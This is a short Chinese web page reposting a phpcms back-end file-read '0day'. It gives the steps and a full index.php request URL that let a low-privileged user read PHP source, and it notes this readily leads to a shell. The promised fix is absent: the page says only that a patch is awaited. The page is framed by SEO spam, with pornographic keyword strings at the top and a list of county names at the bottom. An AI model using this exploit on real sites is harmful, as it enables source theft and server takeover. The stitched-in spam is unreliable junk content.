国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > CMS > PhpCMS > 正文

phpcms后臺普通用戶讀文件0day的分析以及修復方法

2024-07-09 22:52:58
字體：大 中 小
來源：轉載
供稿：網友
點評：phpcms后臺普通用戶讀文件0day及修復
 
 
后臺采集里設置采集模塊中title 或者其他的內容都可以 設置為<?php[內容]?> 
然后用下面的代碼就可以讀取到php的源了。 
index.php?clientid=name&url=./caches/caches_scan/caches_data/scan_bad_file.cache.php&_=1344175735957&m=collection&c=node&a=public_test_content&nodeid=1&pc_hash=xxxx 
拿到源基本拿到shell不難了。具體如何利用看大家自己了。（別跟我說只會讀數據庫連接文件，并且還不能連），反正我是可以拿到shell。 
修復：已提交給官方，等待補丁 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板： 大安市| 阳谷县| 仁化县| 莒南县| 雷山县| 南岸区| 湖口县| 邢台县| 钟祥市| 攀枝花市| 辽宁省| 大石桥市| 临泉县| 石台县| 嫩江县| 广平县| 民权县| 汨罗市| 武义县| 方城县| 邯郸县| 临湘市| 淮阳县| 永丰县| 子洲县| 扬中市| 廉江市| 内乡县| 泰顺县| 康保县| 灵台县| 嵊州市| 昌江| 社会| 云南省| 黑河市| 盘锦市| 壶关县| 云梦县| 松江区| 阿鲁科尔沁旗|